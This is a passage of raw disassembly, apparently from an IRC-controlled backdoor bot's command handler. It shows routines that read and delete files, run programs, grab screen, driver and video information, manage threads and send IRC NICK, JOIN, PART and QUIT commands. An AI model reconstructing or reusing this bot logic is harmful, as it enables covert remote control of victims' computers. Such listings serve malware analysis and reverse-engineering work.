		push	[ebp+Source]	; Str
		call	_strlen
		push	[ebp+arg_8]	; Str
		mov	esi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	edi		; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409B16
		push	esi
		lea	eax, [ebp+Dst]
		push	offset dword_4426EC ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	ebx		; int
		push	eax		; int
		push	[ebp+Source]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 20h
		push	esi
		push	[ebp+Source]
		push	offset unk_4426F8
		jmp	loc_408CEE
; ---------------------------------------------------------------------------

loc_408EFA:				; CODE XREF: sub_401CC7+48F6j
					; sub_401CC7+490Dj
		cmp	[ebp+var_C], ebx
		jz	loc_409B16
		push	[ebp+Source]	; Str
		call	_strlen
		push	[ebp+arg_8]	; Str
		mov	esi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	edi		; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409B16
		push	ebx		; int
		push	ebx		; int
		push	esi		; int
		push	[ebp+Source]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 14h
		push	esi
		push	[ebp+Source]
		push	offset unk_4426C0
		jmp	loc_408CEE
; ---------------------------------------------------------------------------

loc_408F4F:				; CODE XREF: sub_401CC7+48C8j
					; sub_401CC7+48DFj
		cmp	[ebp+var_C], ebx
		jz	loc_402085
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_402085
		push	eax		; int
		push	[ebp+Source]	; Str2
		call	sub_415B47
		pop	ecx
		pop	ecx
		push	[ebp+Source]
		push	offset asc_442694 ; "-"

loc_408F7E:				; CODE XREF: sub_401CC7+58D3j
					; sub_401CC7+7BF2j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_4098D1
; ---------------------------------------------------------------------------

loc_408F92:				; CODE XREF: sub_401CC7+489Aj
					; sub_401CC7+48B1j
		push	edi		; int
		push	[ebp+Source]	; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_41927E
		jmp	loc_4042E7
; ---------------------------------------------------------------------------

loc_408FAC:				; CODE XREF: sub_401CC7+485Cj
					; sub_401CC7+4871j
		push	[ebp+Source]	; SubStr
		push	[ebp+arg_1C]	; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409B16
		mov	esi, [ebp+esi+Format]
		cmp	esi, ebx
		jz	loc_409054
		push	esi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40903C
		push	esi
		lea	eax, [ebp+Dst]
		push	[ebp+Format]
		push	dword ptr [ebp+Args]
		push	[ebp+var_90]
		push	offset aSSSS_1	; "%s %s %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	1FFh		; Count
		push	eax		; Source
		push	[ebp+Src]	; Dest
		call	_strncpy
		add	esp, 24h
		lea	eax, [ebp+Dst]
		push	esi
		push	[ebp+Source]
		push	offset asc_442604 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		inc	[ebp+File]
		jmp	loc_4089F5
; ---------------------------------------------------------------------------

loc_40903C:				; CODE XREF: sub_401CC7+7318j
		lea	eax, [ebp+Dst]
		push	offset asc_44262C ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_4089F5
; ---------------------------------------------------------------------------

loc_409054:				; CODE XREF: sub_401CC7+7303j
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41BBE0
		add	esp, 0Ch
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	[ebp+Source]
		push	offset asc_44265C ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		jmp	loc_4089F5
; ---------------------------------------------------------------------------

loc_4090A0:				; CODE XREF: sub_401CC7+4832j
					; sub_401CC7+4847j
		push	offset aScreen	; "screen"
		push	[ebp+Source]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4090FB
		mov	edi, [ebp+esi+Format]
		cmp	edi, ebx
		jz	short loc_4090E8
		push	edi
		call	sub_415F1E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_4090E1
		push	edi
		lea	eax, [ebp+Dst]
		push	offset asc_4423A4 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_4090FB
; ---------------------------------------------------------------------------

loc_4090E1:				; CODE XREF: sub_401CC7+7401j
		push	offset unk_4423D0
		jmp	short loc_4090ED
; ---------------------------------------------------------------------------

loc_4090E8:				; CODE XREF: sub_401CC7+73F5j
		push	offset asc_442400 ; "-"

loc_4090ED:				; CODE XREF: sub_401CC7+741Fj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_4090FB:				; CODE XREF: sub_401CC7+73EAj
					; sub_401CC7+7418j
		push	offset aDrivers	; "drivers"
		push	[ebp+Source]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409188
		xor	edi, edi

loc_409110:				; CODE XREF: sub_401CC7+74ACj
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4E3128
		test	eax, eax
		jz	short loc_40916F
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset asc_442444 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 28h

loc_40916F:				; CODE XREF: sub_401CC7+746Aj
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_409110
		lea	eax, [ebp+Dst]
		push	offset asc_44246C ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_409188:				; CODE XREF: sub_401CC7+7445j
		push	offset aFrame	; "frame"
		push	[ebp+Source]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409229
		cmp	[ebp+esi+Format], ebx
		jz	short loc_409216
		cmp	[ebp+esi+Str2],	ebx
		jz	short loc_409216
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_409216
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_409216
		push	eax		; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	edi		; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	[ebp+esi+Str2]	; Str
		call	_atoi
		pop	ecx
		push	eax		; Size
		push	[ebp+esi+Format] ; int
		call	sub_416159
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40920F
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset asc_44249C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_409229
; ---------------------------------------------------------------------------

loc_40920F:				; CODE XREF: sub_401CC7+7529j
		push	offset unk_4424C8
		jmp	short loc_40921B
; ---------------------------------------------------------------------------

loc_409216:				; CODE XREF: sub_401CC7+74DFj
					; sub_401CC7+74E8j ...
		push	offset asc_4424FC ; "-"

loc_40921B:				; CODE XREF: sub_401CC7+754Dj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_409229:				; CODE XREF: sub_401CC7+74D2j
					; sub_401CC7+7546j
		push	offset aVideo	; "video"
		push	[ebp+Source]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4089D4
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_4092C1
		mov	eax, [ebp+esi+Str2]
		cmp	eax, ebx
		mov	[ebp+Src], eax
		jz	short loc_4092C1
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_4092C1
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_4092C1
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_4092C1
		push	esi		; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	edi		; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	[ebp+arg_18]	; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	[ebp+Src]	; Str
		call	_atoi
		pop	ecx
		push	eax		; Size
		push	[ebp+arg_1C]	; int
		call	sub_416352
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4092B7
		push	[ebp+arg_1C]
		push	offset unk_44253C
		jmp	loc_4089C5
; ---------------------------------------------------------------------------

loc_4092B7:				; CODE XREF: sub_401CC7+75E1j
		push	offset unk_442568
		jmp	loc_409385
; ---------------------------------------------------------------------------

loc_4092C1:				; CODE XREF: sub_401CC7+7585j
					; sub_401CC7+7593j ...
		push	offset unk_4425A8
		jmp	loc_409385
; ---------------------------------------------------------------------------

loc_4092CB:				; CODE XREF: sub_401CC7+403Bj
					; sub_401CC7+4050j
		push	offset aR_0	; "r"
		push	[ebp+Source]	; Filename
		call	_fopen
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_40933B
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		call	sub_41F210
		add	esp, 0Ch

loc_4092F6:				; CODE XREF: sub_401CC7+765Ej
		test	eax, eax
		jz	short loc_409327
		push	1		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		push	edi
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		call	sub_41F210
		add	esp, 20h
		jmp	short loc_4092F6
; ---------------------------------------------------------------------------

loc_409327:				; CODE XREF: sub_401CC7+7631j
		push	edi		; File
		call	_fclose
		pop	ecx
		push	[ebp+Source]
		push	offset unk_441D94
		jmp	loc_4094C9
; ---------------------------------------------------------------------------

loc_40933B:				; CODE XREF: sub_401CC7+7617j
		push	[ebp+Source]
		push	offset unk_441DB8
		jmp	loc_406F4A
; ---------------------------------------------------------------------------

loc_409348:				; CODE XREF: sub_401CC7+4011j
					; sub_401CC7+4026j
		cmp	[ebp+var_C], ebx
		jz	loc_409B16
		push	[ebp+Source]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409B16
		push	offset asc_441D38 ; "\n"
		push	esi		; Dest
		call	_strcat
		push	esi		; Str
		call	sub_41A931
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_409398
		push	offset asc_441D3C ; "-"

loc_409385:				; CODE XREF: sub_401CC7+75F5j
					; sub_401CC7+75FFj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_4089D4
; ---------------------------------------------------------------------------

loc_409398:				; CODE XREF: sub_401CC7+76B7j
		push	esi
		lea	eax, [ebp+Dst]
		push	offset asc_441D68 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_4089F5
; ---------------------------------------------------------------------------

loc_4093B2:				; CODE XREF: sub_401CC7+3FE7j
					; sub_401CC7+3FFCj
		cmp	[ebp+var_C], ebx
		jz	loc_409B16
		push	[ebp+Source]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409B16
		push	eax		; Format
		call	sub_418F2A
		test	eax, eax
		pop	ecx
		jnz	short loc_4093E2
		push	offset unk_441CF4
		jmp	short loc_409385
; ---------------------------------------------------------------------------

loc_4093E2:				; CODE XREF: sub_401CC7+7712j
		push	offset dword_441D14
		jmp	short loc_409385
; ---------------------------------------------------------------------------

loc_4093E9:				; CODE XREF: sub_401CC7+3FBDj
					; sub_401CC7+3FD2j
		push	7Fh		; Count
		lea	eax, [ebp+var_2080]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	esi, [ebp+esi+Format]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40941A
		push	7Fh		; Count
		lea	eax, [ebp+var_2000]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch

loc_40941A:				; CODE XREF: sub_401CC7+773Fj
		push	7Fh		; Count
		lea	eax, [ebp+var_1F80]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+Source]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+Dst]
		push	offset asc_441C8C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Ch		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41BCA5
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_4094BD

loc_4094A7:				; CODE XREF: sub_401CC7+77F4j
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406F7A
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_4094A7
; ---------------------------------------------------------------------------

loc_4094BD:				; CODE XREF: sub_401CC7+77DEj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset asc_441CA4 ; "-"

loc_4094C9:				; CODE XREF: sub_401CC7+29BFj
					; sub_401CC7+766Fj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_406F7A
; ---------------------------------------------------------------------------

loc_4094DD:				; CODE XREF: sub_401CC7+3F93j
					; sub_401CC7+3FA8j
		push	ebx		; Source
		push	[ebp+Format]	; int
		push	[ebp+arg_4]	; int
		push	[ebp+Source]	; Str
		call	sub_4103EB
		add	esp, 10h
		push	[ebp+Source]
		push	offset dword_441C68
		jmp	loc_409B0F
; ---------------------------------------------------------------------------

loc_4094FF:				; CODE XREF: sub_401CC7+3F69j
					; sub_401CC7+3F7Ej
		push	14h		; Size
		lea	eax, [ebp+var_1D48]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+Source]
		push	offset aS_33	; "%s"
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C0]
		push	eax		; Format
		lea	eax, [ebp+var_1C30]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_441BFC ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Ah		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset sub_416980
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_4095DA

loc_4095C4:				; CODE XREF: sub_401CC7+7911j
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_408637
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_4095C4
; ---------------------------------------------------------------------------

loc_4095DA:				; CODE XREF: sub_401CC7+78FBj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_441C20
		jmp	loc_408628
; ---------------------------------------------------------------------------

loc_4095EB:				; CODE XREF: sub_401CC7+3F3Fj
					; sub_401CC7+3F54j
		push	[ebp+Source]
		call	ds:dword_4F5354	; DeleteFileA
		test	eax, eax
		jz	short loc_409616
		push	[ebp+Source]
		lea	eax, [ebp+Dst]
		push	offset asc_441BC8 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		jmp	loc_4096F4
; ---------------------------------------------------------------------------

loc_409616:				; CODE XREF: sub_401CC7+792Fj
		push	offset dword_441BE4
		call	sub_418E65
		pop	ecx
		push	eax
		jmp	loc_404132
; ---------------------------------------------------------------------------

loc_409627:				; CODE XREF: sub_401CC7+3F15j
					; sub_401CC7+3F2Aj
		push	[ebp+Source]	; Str
		call	_atoi
		push	eax
		call	sub_41A8AA
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+Source]
		cmp	eax, esi
		jnz	short loc_409648
		push	offset unk_441B68
		jmp	short loc_40964D
; ---------------------------------------------------------------------------

loc_409648:				; CODE XREF: sub_401CC7+7978j
		push	offset asc_441B8C ; "-"

loc_40964D:				; CODE XREF: sub_401CC7+797Fj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406F7D
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 14h
		jmp	loc_406F7D
; ---------------------------------------------------------------------------

loc_409686:				; CODE XREF: sub_401CC7+3EEBj
					; sub_401CC7+3F00j
		push	ebx		; int
		push	ebx		; int
		push	[ebp+Source]	; Str2
		push	[ebp+var_4]	; int
		push	ebx		; Str
		push	[ebp+arg_4]	; int
		call	sub_41A589
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+Source]
		jnz	short loc_4096AC
		push	offset unk_441B0C
		jmp	loc_406F4A
; ---------------------------------------------------------------------------

loc_4096AC:				; CODE XREF: sub_401CC7+79D9j
		push	offset unk_441B2C
		jmp	loc_406F4A
; ---------------------------------------------------------------------------

loc_4096B6:				; CODE XREF: sub_401CC7+3EC1j
					; sub_401CC7+3ED6j
		mov	esi, [ebp+Source]
		push	esi
		call	dword_4E3138	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D4], eax
		jz	short loc_4096FC
		push	2
		lea	eax, [ebp+var_2D4]
		push	4
		push	eax
		call	dword_4E30B0	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_40971D
		push	dword ptr [eax]
		push	esi
		push	offset asc_441A94 ; "-"

loc_4096E8:				; CODE XREF: sub_401CC7+7A54j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf

loc_4096F4:				; CODE XREF: sub_401CC7+794Aj
		add	esp, 10h
		jmp	loc_406F59
; ---------------------------------------------------------------------------

loc_4096FC:				; CODE XREF: sub_401CC7+7A02j
		push	esi
		call	dword_4E317C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_40971D
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4E3184	; inet_ntoa
		push	eax
		push	esi
		push	offset unk_441AB4
		jmp	short loc_4096E8
; ---------------------------------------------------------------------------

loc_40971D:				; CODE XREF: sub_401CC7+7A17j
					; sub_401CC7+7A3Ej
		push	offset unk_441AD4
		jmp	loc_408850
; ---------------------------------------------------------------------------

loc_409727:				; CODE XREF: sub_401CC7+3E97j
					; sub_401CC7+3EACj
		push	7Fh		; Count
		push	[ebp+Source]	; Source
		push	[ebp+arg_14]	; Dest
		call	_strncpy
		add	esp, 0Ch
		push	[ebp+Source]
		push	offset unk_441A64
		jmp	loc_404BD6
; ---------------------------------------------------------------------------

loc_409744:				; CODE XREF: sub_401CC7+3E6Dj
					; sub_401CC7+3E82j
		push	5
		push	ebx
		push	ebx
		push	[ebp+Source]
		push	offset aOpen_1	; "open"
		push	ebx
		call	dword_4E3064
		push	[ebp+Source]
		test	eax, eax
		jz	short loc_409768
		push	offset unk_441A14
		jmp	loc_406F4A
; ---------------------------------------------------------------------------

loc_409768:				; CODE XREF: sub_401CC7+7A95j
		push	offset unk_441A34
		jmp	loc_406F4A
; ---------------------------------------------------------------------------

loc_409772:				; CODE XREF: sub_401CC7+3E43j
					; sub_401CC7+3E58j
		mov	eax, [ebp+Source]
		mov	cl, [eax]
		mov	byte_43F094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_4419D8
		jmp	loc_404BD6
; ---------------------------------------------------------------------------

loc_40978B:				; CODE XREF: sub_401CC7+3E19j
					; sub_401CC7+3E2Ej
		push	[ebp+Source]	; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_409B16
		push	[ebp+Source]	; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409B16
		push	ebx		; Str1
		push	ebx		; int
		lea	eax, [ebp+SubStr]
		push	2		; int
		push	eax		; Dest
		call	sub_40B44F
		add	esp, 10h
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aNickS_6	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	eax
		push	offset aS_19	; "%s\r\n"
		jmp	loc_408C1B
; ---------------------------------------------------------------------------

loc_4097E9:				; CODE XREF: sub_401CC7+3DEFj
					; sub_401CC7+3E04j
		mov	esi, [ebp+Source]
		push	esi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_402085
		push	esi		; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_402085
		push	offset aQuitLater_0 ; "QUIT :later\r\n"
		push	esi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_456024[eax] ; int
		call	sub_409CEE
		pop	ecx
		pop	ecx
		push	1F4h
		call	ds:dword_4F534C	; Sleep
		push	esi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_456024[eax]
		call	dword_4E3190	; closesocket
		push	[ebp+var_10]
		push	esi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_45602C[eax]
		call	ds:dword_4F5380	; TerminateThread
		push	esi		; Str
		call	_atoi
		imul	eax, 234h
		push	esi		; Str
		mov	dword_45602C[eax], ebx
		call	_atoi
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_455E18[eax], bl
		jmp	loc_402085
; ---------------------------------------------------------------------------

loc_409897:				; CODE XREF: sub_401CC7+3DC5j
					; sub_401CC7+3DDAj
		push	[ebp+Source]	; Str2
		push	offset aAll	; "all"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409903
		call	sub_40B91F
		cmp	eax, ebx
		jle	short loc_4098BE
		push	eax
		push	offset unk_4418EC
		jmp	loc_408F7E
; ---------------------------------------------------------------------------

loc_4098BE:				; CODE XREF: sub_401CC7+7BEAj
		push	offset asc_441914 ; "-"

loc_4098C3:				; CODE XREF: sub_401CC7+24EAj
					; sub_401CC7+2509j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_4098D1:				; CODE XREF: sub_401CC7+72C6j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4098F2
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int

loc_4098EA:				; CODE XREF: sub_401CC7+6E35j
		call	sub_409D34
		add	esp, 14h

loc_4098F2:				; CODE XREF: sub_401CC7+26E7j
					; sub_401CC7+2712j ...
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F
		jmp	loc_40226F
; ---------------------------------------------------------------------------

loc_409903:				; CODE XREF: sub_401CC7+7BE1j
		mov	eax, [ebp+var_A4]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_402085
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+File], eax

loc_40991F:				; CODE XREF: sub_401CC7+7CC9j
		mov	eax, [ebp+File]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_402085
		push	esi		; Str
		call	_atoi
		push	eax
		call	sub_40B891
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409946
		push	offset unk_44193C
		jmp	short loc_40994B
; ---------------------------------------------------------------------------

loc_409946:				; CODE XREF: sub_401CC7+7C76j
		push	offset asc_441960 ; "-"

loc_40994B:				; CODE XREF: sub_401CC7+7C7Dj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40997B
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 14h

loc_40997B:				; CODE XREF: sub_401CC7+7C96j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F
		add	[ebp+File], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40991F
		jmp	loc_402085
; ---------------------------------------------------------------------------

loc_409997:				; CODE XREF: sub_401CC7+3D9Bj
					; sub_401CC7+3DB0j
		cmp	[ebp+var_C], ebx
		jz	loc_409B16
		push	[ebp+Source]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409B16
		push	esi		; Args
		push	offset aS_20	; "%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		add	esp, 0Ch
		push	esi
		push	offset dword_4418BC
		jmp	loc_409B0F
; ---------------------------------------------------------------------------

loc_4099D3:				; CODE XREF: sub_401CC7+3D71j
					; sub_401CC7+3D86j
		push	[ebp+Source]	; Args
		push	offset aPartS_2	; "PART	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		add	esp, 0Ch
		push	[ebp+Source]
		push	offset unk_441888
		jmp	loc_409B0F
; ---------------------------------------------------------------------------

loc_4099F3:				; CODE XREF: sub_401CC7+3D47j
					; sub_401CC7+3D5Cj
		push	[ebp+esi+Format]
		push	[ebp+Source]	; Args
		push	offset aJoinSS_3 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		add	esp, 10h
		push	[ebp+Source]
		push	offset unk_44184C
		jmp	loc_409B0F
; ---------------------------------------------------------------------------

loc_409A1A:				; CODE XREF: sub_401CC7+3D1Dj
					; sub_401CC7+3D32j
		push	[ebp+Source]	; Args
		push	offset aNickS_7	; "NICK	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		add	esp, 0Ch
		push	[ebp+Source]
		push	offset unk_44180C
		jmp	loc_409B0F
; ---------------------------------------------------------------------------

loc_409A3A:				; CODE XREF: sub_401CC7+315Dj
					; sub_401CC7+3172j
		push	offset aQuitReconnec_0 ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		pop	ecx
		lea	eax, [ebp+Dst]
		pop	ecx
		push	[ebp+Source]
		push	offset asc_44149C ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F
		push	[ebp+Source]	; Str
		call	_atoi
		add	esp, 14h

loc_409A74:				; CODE XREF: sub_401CC7+7DFBj
		push	eax
		call	ds:dword_4F534C	; Sleep

loc_409A7B:				; CODE XREF: sub_401CC7+2A93j
		xor	eax, eax
		jmp	loc_402088
; ---------------------------------------------------------------------------

loc_409A82:				; CODE XREF: sub_401CC7+3133j
					; sub_401CC7+3148j
		push	offset aQuitReconnec_1 ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		pop	ecx
		lea	eax, [ebp+Dst]
		pop	ecx
		push	[ebp+Source]
		push	offset asc_441444 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F
		push	[ebp+Source]	; Str
		call	_atoi
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_409A74
; ---------------------------------------------------------------------------

loc_409AC4:				; CODE XREF: sub_401CC7+EB9j
					; sub_401CC7+ECEj
		push	dword ptr [ebp+esi+Args] ; Str1
